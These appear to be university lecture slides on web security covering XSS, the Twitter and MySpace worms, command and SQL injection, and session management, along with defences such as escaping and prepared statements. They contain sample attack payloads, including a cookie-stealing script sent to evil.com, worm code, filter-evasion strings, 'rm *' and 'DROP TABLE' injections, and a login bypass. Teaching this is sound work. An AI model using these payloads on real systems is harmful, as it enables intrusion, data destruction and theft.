Admin: Final Projects

• **Final project:** 12-15 minute video about security topic of your choice

• Groups of 1-3 people

• **Deadline #1 is on Friday!**
  
  – Upload to Catalyst a PDF file that contains
    • (1) your group members’ names and UWNetIDs and
    • (2) a brief description of the topic of your presentation.
Recap: Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)

Access some web page


Forces victim’s browser to call hello.php on naive.com with this script as “name”

GET/steal.php?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls Steal.php on evil.com

Hello.php

Hello.php executed

Victim’s browser

evil.com

naive.com

5/9/16
CSE 484 / CSE M 584 - Spring 2016
Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad, comment in a blog
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. Receive malicious script
3. Request content
4. Steal valuable data

User victim

Attack server

Server victim

Users view or download content

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken +"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken +"&user[url]="+xss+"&tab=home&update=update"")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML
• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;;
  – Find one for your language of choice
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>
    <b c=""> onmouseover="script" x="<b>Hello<b>

• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    <IMG ""><SCRIPT>alert("XSS")</SCRIPT>"
  – Long UTF-8 encoding
  – Scripts are not only in <script>:
    <iframe src='https://bank.com/login’ onload='steal()'>
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  – No <script>, <body>, onclick, <a href=javascript: />
• … but does allow <div> tags for CSS.
  – <div style="background:url(‘javascript:alert(1)’)">
• But MySpace will strip out “javascript”
  – Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  – Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
<div id="mycode" style="BACKGROUND:
url(//namb.la/popular/tech.html)"></div>

http://namb.la/popular/tech.html

MySpace Worm (2)

Resulting code:

```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straightforward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of...interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak
Command Injection and SQL Injection
Recall: PHP

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  ```html
  <input value='<?php echo $myvalue; ?>'>
  ```
- Can embed variables in double-quote strings
  ```php
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
  ```
- Form data in global arrays `$_GET`, `$_POST`, ...
Command Injection in PHP


copy.php includes

    system(“cp temp.dat $name.dat”)

User calls

    http://victim.com/copy.php?name=“a; rm *”

copy.php executes

    system(“cp temp.dat a; rm *.dat”);
SQL

• Widely used database query language
• Fetch a set of records
  \[\text{SELECT} \ * \ \text{FROM Person WHERE Username= ‘Franzi’}\]
• Add data to the table
  \[\text{INSERT INTO Key (Username, Key) VALUES ( ‘Franzi’, 3611BBFF)}\]
• Modify data
  \[\text{UPDATE Keys SET Key=FA33452D WHERE PersonID=5}\]
• Query syntax (mostly) independent of vendor
Typical Query Generation Code

```php
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key 
    WHERE Username='\$selecteduser'";
$rs = $db->executeQuery($sql);
```

What if ‘user’ is a malicious string that changes the meaning of the query?
Typical Login Prompt

![Image of a typical login prompt for Microsoft Internet Explorer]

- Enter User Name: smith
- Enter Password: •••••••
- Login
User Input Becomes Part of Query

Web browser (Client) → Enter Username & Password

Web server

SELECT passwd FROM USERS WHERE uname IS ‘$user’

DB
Normal Login

Web browser (Client) —> Enter Username & Password —> Web server —> SELECT passwd FROM USERS WHERE uname IS ‘franzi’ —> DB
Malicious User Input
SQL Injection Attack

```
SELECT passwd
FROM USERS
WHERE uname IS '';
DROP TABLE USERS;
--'
```

Eliminates all user accounts
Exploits of a Mom

http://xkcd.com/327/
SQL Injection: Basic Idea

1. Post malicious form

2. Unintended query

3. Receive data from DB

- This is an **input validation vulnerability**
  - Unsanitized user input in SQL query to back-end database changes the meaning of query
- Special case of command injection
set UserFound = execute(
    "SELECT * FROM UserTable WHERE
    username=' ' & form("user") & ' ' AND
    password=' ' & form("pwd") & ' ');

User supplies username and password, this SQL query checks if user/password combination is in the database

If not UserFound.EOF
    Authentication correct
else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database
Using SQL Injection to Log In

- User gives username ‘ OR 1=1 --
- Web server executes query

```sql
set UserFound = execute(
    SELECT * FROM UserTable WHERE username=' OR 1=1 -- ...
);
```

- Now all records match the query, so the result is not empty ⇒ correct “authentication”!

Always true! Everything after – is ignored!
Preventing SQL Injection

• Validate all inputs
  – Filter out any character that has special meaning
    • Apostrophes, semicolons, percent, hyphens, underscores, ...
    • Use escape characters to prevent special characters from becoming part of the query code
      – E.g.: escape(O’Connor) = O\’Connor
  – Check the data type (e.g., input must be an integer)
Prepared Statements

PreparedStatement ps =
   
   db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
      + 
      "FROM orders WHERE userid=? AND order_month=?");

   ps.setInt(1, session.getCurrentUserId());
   ps.setInt(2, Integer.parseInt(request.getParameter("month")));

   ResultSet res = ps.executeQuery();

• **Bind variables**: placeholders guaranteed to be data (not code)
• Query is parsed without data parameters
• Bind variables are typed (int, string, ...)

http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html
Top Web Vulnerabilities: Summary

• XSRF (CSRF) – cross-site request forgery
  – Bad website forces the user’s browser to send a request to a good website

• XSS (CSS) – cross-site scripting
  – Malicious code injected into a trusted context (e.g., malicious data presented by an honest website interpreted as code by the user’s browser)

• SQL injection
  – Malicious data sent to a website is interpreted as code in a query to the website’s back-end database
Web Session Management
Primitive Browser Session

Store session information in URL; easily read on network
Bad Idea: Encoding State in URL

• Unstable, frequently changing URLs
• Vulnerable to eavesdropping and modification
• There is no guarantee that URL is private
FatBrain.com circa 1999

• User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

  https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

  – With special URL, user doesn’t need to re-authenticate

  • Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT...

• Authenticators are global sequence numbers

  – It’s easy to guess sequence number for another user

    https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

  – **Partial fix:** use random authenticators
Typical Solution: Web Authentication via Cookies

- Servers can use cookies to store state on client
  - When session starts, server computes an authenticator and gives it back to browser in the form of a cookie
    - Authenticators must be unforgeable and tamper-proof
      - Malicious client shouldn’t be able to compute his own or modify an existing authenticator
    - Example: MAC(server’s secret key, session id)
  - With each request, browser presents the cookie
  - Server recomputes and verifies the authenticator
    - Server does not need to remember the authenticator
Storing State in Hidden Forms

• Dansie Shopping Cart (2006)
  – “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.”

```html
<FORM METHOD=POST
ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">
  Black Leather purse with leather straps
  <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse">
  <INPUT TYPE=HIDDEN NAME=price VALUE="20.00">
  <INPUT TYPE=HIDDEN NAME=sh VALUE="1">
  <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg">
  <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps">
  <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">
</FORM>
```

Change this to 2.00

Fix: MAC client-side data, or, more likely, keep on server.